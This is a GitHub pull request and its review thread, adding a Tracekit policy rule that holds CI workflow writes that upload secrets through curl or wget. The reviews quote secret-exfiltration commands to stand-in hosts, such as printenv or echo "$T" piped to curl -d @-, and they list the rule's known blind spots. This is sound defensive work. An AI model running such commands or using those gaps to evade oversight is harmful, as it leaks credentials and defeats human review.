Skip to content

Hold CI workflow writes that upload secrets - #663

Merged
LoopGlitch26 merged 9 commits into
Cygnux-Labs:mainfrom
kausthubhk:agent/issue-405-workflow
Nov 13, 2026
Merged

LoopGlitch26 merged 9 commits into
Cygnux-Labs:mainfrom
kausthubhk:agent/issue-405-workflow

Conversation

@kausthubhk

@kausthubhk kausthubhk commented Nov 7, 2026 •

Copy link
Copy Markdown
Contributor

What and why

Closes #405. The existing TK-A049 rule from #513 already holds CI pipeline deletions (rm and git rm); this PR leaves it intact and adds TK-A061 to ask before a direct Write or Edit introduces a recognized CI command that sends an environment variable or CI-secret expression as HTTP(S) request data through curl or wget. Normal workflows remain allowed, including npm test, npm publish with an environment secret, CI lint and a curl installer download; authentication headers, ordinary file uploads and URLs containing a token are not misclassified as request-data exfiltration.

The signer derives ci_workflow solely from a recognized CI filesystem path and the newly written text—not caller-supplied fields or an Edit's removed text. Recognized paths cover GitHub Actions workflows and composite actions, GitLab CI, CircleCI, Azure Pipelines (.yml/.yaml), and Jenkinsfile. The bounded pattern recognizes real CI syntaxes (run:, script:, Azure bash/powershell, Jenkins sh and sh(script:)), later commands inside block scalars, ;/&&/sudo/env/absolute program prefixes, direct -d/-F/--data*/--form*/--json/--post-data and selected @- stdin pipelines and secret stdin piped to curl -T -/--upload-file -. It does not claim general nc coverage, file-content inspection for -T/--upload-file/--post-file, or full YAML/shell parsing.

Review-specific corrections

The Nov 11 review uncovered that _CI_SINGLE_QUOTED paired apostrophes across unrelated YAML, comment and double-quoted text and suppressed actual secret uploads. The fix removes that rewrite and the unnecessary Jenkins-specific ${env.X} rewriting, while retaining the benign public $GITHUB_SHA treatment. Both command alternatives also accept an opening YAML single quote, which is required to hold run: 'curl …' and GitLab's - 'curl …'. Regression tests cover the four newly reported real leaks and move three formerly "not held" cases to the held set as specifically requested. Previously requested benign auth cases, pipe uploads, alternate CI dialects, composite actions, policy docs and limits remain covered. The Nov 10 --upload-file request is handled narrowly: piped secret stdin is held, but local-file uploads are still allowed; four new held and four benign E17 corpus fixtures check that boundary.

The branch was merged with upstream main at c5a3923 and advances the coding pack from upstream 2026.11-v2-81 to 2026.11-v2-82; dev, server, and strict inherit the new rule. The merge preserved newer upstream signer-extractor, policy, compiler and evaluation-gate changes. All new commits, including the merge commit, have Signed-off-by trailers.

Checks run after merging main

  • Focused CI tests across RE2 and regex: passed; 8 tests and 648 subtests in the final focused rerun, including the speed regression..
  • Other relevant policy compiler, prefilter, 64 KiB timing and documentation tests: 48 tests and 1,089 subtests passed; the full 64 KiB timing test reported three TK-M003 timing failures, then an isolated rerun of all TK-M003 inputs passed. No TK-A061 timing failures remained..
  • tracekit policy lint on coding.yaml, dev.yaml, server.yaml, and strict.yaml: all four passed..
  • Independent 69-case review/issue acceptance audit, four packs × two backends: 552/552 passed on merge commit 6c13a98. The audit expectation for oversized writes was corrected to account for server and strict denying them..
  • E17 846/846 harmful calls held/denied; 1/904 benign false holds, including the draft-email case; 0 backend mismatches. These values are from the current merged pack, not the original PR's outdated numbers.
  • E21 feat: add E21 blind evaluation pool for amandeavor (fixes #368) #401 amandeavor pool after the pool's publication: default 37/45 harmful caught, 0/45 benign held; strict 40/45 caught, 2/45 benign held. Developer sessions: default 2/130, strict 20/130 benign held. These are not new blind scores; the publication-time blind scores remain unchanged in docs/evaluation.md.
  • E21 policy gates: PASS. Main's macOS reference machine, latency, and gates were preserved verbatim; no new reference-machine latency baseline was recorded, and no --record/--rebaseline was used.
  • Full make test was not run locally by design; only the relevant tests above were requested for this iteration. Linux CI remains the full-suite merge gate. At final submission, record its actual state: pending after push.

Limits and invariants

This is a bounded tripwire, not a YAML/shell parser or network egress firewall. It does not see workflows written through shell scripts; MultiEdit or patch-style writes; an action that sends a secret; independent Edit fragments; escaped/folded multiline commands; URL without scheme or behind a variable; a GET query/header leak; unsupported CI path/include systems; or general nc uploads. See docs/policy-v2.md and docs/limits.md for the precise remaining cases, including a CI write above 64 KiB (TK-OVERSIZE). The signer still owns keys and decisions; no new agent-supplied field is trusted, and the frozen evidence formats, gap recording and verification guarantees are unchanged. No CHANGELOG.md change.

Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks. It changes the coding pack, which is frozen until 1.6.0 ships, so I'll review it right after the release, and it will need a rebase on main then.

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, and sorry for the wait. Reviewed now that 1.6.0 is out. Reading the written text, not only the path, and deriving ci_workflow in the signer so a caller can't supply it, is the right shape. Four things:

  1. Rebase. The branch conflicts with main: 1.6.0 changed the coding pack (it's at 2026.10-v2-77 now), so the bump becomes -78, and E17 and E21 need re-running after the rebase (no --rebaseline), with README, docs/evaluation.md and docs/limits.md numbers taken from that run. TK-A061 is still free on main.
  2. Three of the five CI files never put a command under run:. GitLab CI and Azure Pipelines take commands from script: lists (Azure also bash: and powershell:), and a Jenkinsfile runs them through sh '...', so the rule can't fire for .gitlab-ci.yml, azure-pipelines.yml or Jenkinsfile; the tests pass only because they write run: into those files. Anchoring on the run: key also misses the second line of a run: | block, and an Edit whose new_string is only the changed command. Since ci_workflow is already limited to CI paths, matching any one line of it (program, data option, secret and URL, bounded as now) would cover all five formats and both gaps, and the lean: note and the limits row can shrink to what's left (a secret sent by an action, a workflow written through a script, MultiEdit). Please use each format's real shape in the tests: script: lists for GitLab and Azure, sh for Jenkins, and a later line of a run: | block.
  3. Quoting in the test data. curl -d '$DEPLOY_TOKEN' ... sends the literal text: the shell doesn't expand inside single quotes. The rule holding it is fine, but the cases meant to show a leak should use "$TOKEN" or a bare $TOKEN, as the #401 pool does (${{ secrets.X }} in single quotes is fine: Actions expands it before the shell runs).
  4. E17's benign set. Two of the issue's lookalikes are only in the unit test: please add the env: NPM_TOKEN: ${{ secrets.NPM_TOKEN }} + npm publish workflow and a workflow with curl -fsSL https://example.com/install.sh -o install.sh to tests/data/policy/benign/, so E17 counts them.

@kausthubhk

Copy link
Copy Markdown
Contributor Author

No issues @LoopGlitch26 , i will make the required changes

Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the quick turnaround. The four asks are mostly in: the rebase and -78, real GitLab/Azure/Jenkins shapes, later run: | lines, the quoting and the two benign lookalikes. The design holds up: the signer derives ci_workflow from the path, a caller can't set it, the path respellings (.GitHub/Workflows/CI.YML, foo/../.github/…, Windows separators) all match, and across 2,906 corpus calls under coding, dev, server and strict on both engines nothing got looser; the only changes are the 24 allow→ask decisions on your three new cases. What's left, most important first:

Must fix

  1. New holds on ordinary CI. Any $VAR on the line counts as the secret, so these common steps are now held: a GitHub dispatch call (-H "Authorization: Bearer $PAT" -d '{…}'), a GitLab release call (PRIVATE-TOKEN header with --data), a Nexus upload (-u "$U:$P" -T dist/app.tgz), a codecov upload (--data-binary @coverage.xml "…?token=$T") and a Slack notify that mentions $GITHUB_SHA. A token sent as authentication isn't a leak. Please require the secret inside the data option's own argument (-d "$T", --data-binary "$T"), or @- with the secret on stdin, and add these five as benign E17 cases. That also changes the six-orderings test at tests/test_signer_policy.py:4735, whose curl "$TOKEN" -d https://… case sends the token as the URL.
  2. The secret piped in isn't held: echo "$T" | curl --data-binary @- URL, printenv | curl -d @-, … | base64 | curl -d @-. These are the textbook forms; please add a pipe-into-upload alternative, with tests.
  3. Forms the rule says it covers but misses, each with a test: curl --form, --upload-file, --json and combined flags like -sd; curl after ;, &&, sudo, env A=1 or as /usr/bin/curl (the program must currently start the line); Azure's $(SECRET), Jenkins ${env.X} and sh(script: "…"), ${{ toJSON(secrets) }} and secrets['X'].
  4. eval/results/e21_policy_robustness.json: line 2 now names Windows, but the latency block is main's macOS run carried over (it still says calls: 2702, where a run now records 2709), and the file ends in a newline json.dump doesn't write. Please keep the machine and latency fields as they are on main, with main's sentence at docs/evaluation.md:553; we re-measure latency on the reference Mac.
  5. The PR body is out of date: it says -65→-66, "first command of a block", "later block commands remain outside" and "1/890". It also lists nc, but only an nc line that also has a curl data flag and an http(s) URL matches, so a real nc upload is never held: please drop nc from the pattern or from the claim.

Smaller

  1. tracekit/policy2/classes.py:26: add composite actions (.github/actions/**/action.yml and action.yaml) and azure-pipelines.yaml.
  2. docs/policy-v2.md:647: TK-A061 needs its own entry (paths, programs, flags, limits); today it's a clause inside TK-A049's.
  3. docs/limits.md:998: list what's still left: commands split with \ or a folded run: > (joining \-continued lines in the derived subject is a cheap fix, if you'd like to take it), an & or # inside the data, a URL without a scheme or in a variable, an Edit whose new text is only the URL or only -d "$T", patch-style edits, leaks through a GET query or a header, CI systems and paths it doesn't read (Bitbucket, .gitlab/ci/ includes), and that a CI write over 64 KiB is now held (TK-OVERSIZE) where main only flagged it.

Heads-up: #690 also takes the coding pack to -78. Whichever merges second moves to -79 and re-runs E17/E21.

@LoopGlitch26

Copy link
Copy Markdown
Member

Heads-up: #690 merged with the coding pack at 2026.10-v2-78, so when you push, merge main and take -79 (and re-run E17/E21 after the bump, as in the review). If #605 lands first it takes -79 and you'd take -80; check main's coding.yaml line 14 just before you push.

Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. Most of the 11-10 list is in: the authentication-header, file-upload, URL-token and $GITHUB_SHA cases stay allowed and are in E17's benign set; the @- pipe forms, --form, --json, -sd, the ;, &&, sudo, env and absolute-path prefixes, and the Azure, Jenkins, toJSON(secrets) and secrets['X'] spellings are held with tests; composite actions, TK-A061's own entry, the limits row, nc dropped, and E21's machine line and trailing byte back to main's. I read the diff (e9c86fd). What's left:

Must fix

  1. The single-quote rewrite hides real uploads. _CI_SINGLE_QUOTED (tracekit/policy2/classes.py L30, applied at L337) pairs any two ' in the written text, across lines, and turns each $VAR between them into LITERAL. Quotes the shell never pairs then hide a secret the shell does expand:

    • a YAML single-quoted scalar: run: 'curl -d "$TOKEN" https://x.example' (the shell gets curl -d "$TOKEN" …), and GitLab's usual form for a script line that contains a colon: - 'curl --data "$TOKEN" https://x.example'
    • an apostrophe inside double quotes: run: echo "it's" && curl -d "$TOKEN" https://x.example && echo "that's it"
    • a # don't comment before the step and a # can't after it ([^']* crosses newlines).

    The 11-10 review said holding curl -d '$DEPLOY_TOKEN' is fine, so the simplest fix is to drop this rewrite and the ${env.X} one for sh '…'; the pattern's own '…' branch then holds the single-quoted forms. Move the three single-quoted cases in the not-held test (curl -d '$TOKEN', echo '$TOKEN' | curl -d @-, Jenkins sh 'curl -d ${env.X} …') to the held list, and add the four forms above as held cases.

  2. Merge main again. The branch conflicts with main (#690 took the coding pack to -78), so no CI ran on e9c86fd. Merge main, keep -79, and re-run E17 and E21 after the merge (no --rebaseline).

Smaller

  1. _CI_JENKINS_SH (L31, used at L334): the pattern already accepts sh ', sh " and sh(script: ' before the program, so once the ${env.X} rewrite is gone this looks unneeded. Drop it if the Jenkins tests stay green.
  2. docs/evaluation.md:553: please keep main's sentence ("The current policy scores above and the latency rows below were refreshed on macOS; the existing gates are unchanged."), as asked on 11-10; the latency fields are main's again.
  3. The PR body still says -65 to -66, run: only, "the first command of a block", nc and 1/890. Please update it to the rule as it is now.

@kausthubhk

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 sorry i believe i have missed a few things from your previously requested changes , i will address all them and push the changes tomorrow

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the update. Main has moved since the 11-11 review, so three things for the push:

  1. Pack version. #605 and #732 took the coding pack to 2026.11-v2-81 (tracekit/policy2/packs/coding.yaml:14), so take 2026.11-v2-82. TK-A061 is still free on main.
  2. Conflicts. #605 also changed tracekit/policy2/classes.py, compile.py and engine.py, docs/policy-v2.md, docs/limits.md, tests/test_signer_policy.py and the E17/E21 results, so expect conflicts there. Re-run E17 and E21 after the merge (no --rebaseline).
  3. The last sentence of your limits row. #605 set oversize: ask in dev.yaml, so on the default pack every call over 64 KiB now waits for a person, CI writes included. After the merge, check "CI writes over 64 KiB are held (TK-OVERSIZE), where the previous rule merely flagged them" against main and keep only what is still true.

The rest is the 11-11 list: drop the single-quote and ${env.X} rewrites (and _CI_JENKINS_SH if the Jenkins tests stay green) and add the four forms as held cases, keep main's sentence at docs/evaluation.md:553, and update the PR body.

Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I read 6c13a98 against both earlier reviews. These are in:

  • The single-quote and ${env.X} rewrites and _CI_JENKINS_SH are gone.
  • The three single-quoted cases moved to the held list, and the four forms from 11-11 are held with tests (tests/test_signer_policy.py:512-518).
  • docs/evaluation.md is main's again.
  • The E21 machine and latency fields are main's.
  • The PR body matches the rule.
  • The merge kept main's other changes (one leftover below).
  • Every existing E17 decision is unchanged, and the six new harmful and fourteen new benign cases decide as expected.

What's left:

Must fix

  1. A stale copy in docs/policy-v2.md. Lines 772-809 repeat lines 714-751 as they stood before #605: the strict.yaml paragraph, the deployment paragraph, the server-rules table (it still says server.yaml where main says server-core.yaml), and the SQL and "Rules match raw strings" paragraphs. Delete 772-809 and keep the TK-A061 section at 753-770.

  2. The docs still quote the old E17 and E21 numbers, so tests/test_eval_docs.py fails. The places to update:

    • README.md:19 and :347: 840 of 840, 890 benign;
    • docs/evaluation.md:284-285: 840 and 890;
    • docs/evaluation.md:548-553: amandeavor's and "all three"'s now columns, 36→37 and 39→40, 96→97 and 101→102;
    • docs/limits.md:210: 46 of E17's 890 benign calls.

    Run python -m pytest tests/test_eval_docs.py and update each quote it names until it passes.

  3. eval/results/e21_robustness.json wasn't re-run. It still has main's policy_hash and source_cases: 840, but its source cases are E17's harmful calls, now 846. CI's offline-evals job compares it with a fresh run (same e21_robustness in ci.yml). Run eval/e21_robustness.py (no --rebaseline), commit the result, and update docs/evaluation.md:609 ("all 840 originals and all 2,451 rewrites") from it.

  4. docs/policy-v2.md contradicts itself. The TK-A049 entry at line 711 still says "writing or emptying workflow content is not checked for secret exfiltration". Change it to say that writing is TK-A061's and only emptying isn't checked, and list TK-A061 in that ask row. Since dev holds it too, also add it to the laptop default's "sending them out" row at line 689.

Smaller

  1. Pack version. #761 also takes 2026.11-v2-82. Whichever of the two merges second takes the next free number at merge time and re-runs E17 and E21, so check main's coding.yaml:14 right before you push.
  2. _CI_PUBLIC_SHA (tracekit/policy2/classes.py:29) exempts one name. A deploy notice that posts $GITHUB_REF_NAME, $GITHUB_RUN_ID, $CI_COMMIT_SHORT_SHA or $CIRCLE_SHA1 in its data is still held. Either widen it to a short list of those systems' documented non-secret variables, with benign E17 cases, or name this in the limits row as a known false hold.
  3. The new speed test (tests/test_policy2.py:822) times only the fallback engine. Run it on both backends, as the CICredentialEgress tests do (("re2", "regex") when RE2 is installed), so RE2's time on that 64 KiB write is held to the budget too.

Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
@LoopGlitch26

Copy link
Copy Markdown
Member

I carried this in #781, so it can merge without another round from you. Your nine commits are in it unchanged (authorship, sign-offs and SHAs); pushing to your branch failed on the repository's Git LFS pre-push hook, which needs push access to your fork.

f564093 and 68f5493 covered the 11-12 review's asks 1-4, 6 and 7. On top of them:

This PR can be closed once #781 merges.

@LoopGlitch26
LoopGlitch26 merged commit 85aa2d3 into Cygnux-Labs:main Nov 13, 2026
33 of 34 checks passed
@LoopGlitch26

Copy link
Copy Markdown
Member

Merged with your commits in #799 (via #781): a CI workflow write that uploads a secret is now held (TK-A061), including JSON bodies, GitHub expressions and the long CI file forms. It ships in the next release. Thank you.

And a follow-up to the earlier request to run Tracekit for a week: if you've been running it on your coding agent, tracekit report --share prints counts only (no commands, paths or content). Posting it with the field-report form (https://github.com/Cygnux-Labs/Tracekit/issues/new?template=field-report.yml) helps us more than anything else. If you haven't tried it yet, pip install -U tracekit-ai then tracekit audit --since 7d shows, read-only, what it would have held last week.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Policy: deleting CI workflows, or writing one that sends a secret out, waits for a person

2 participants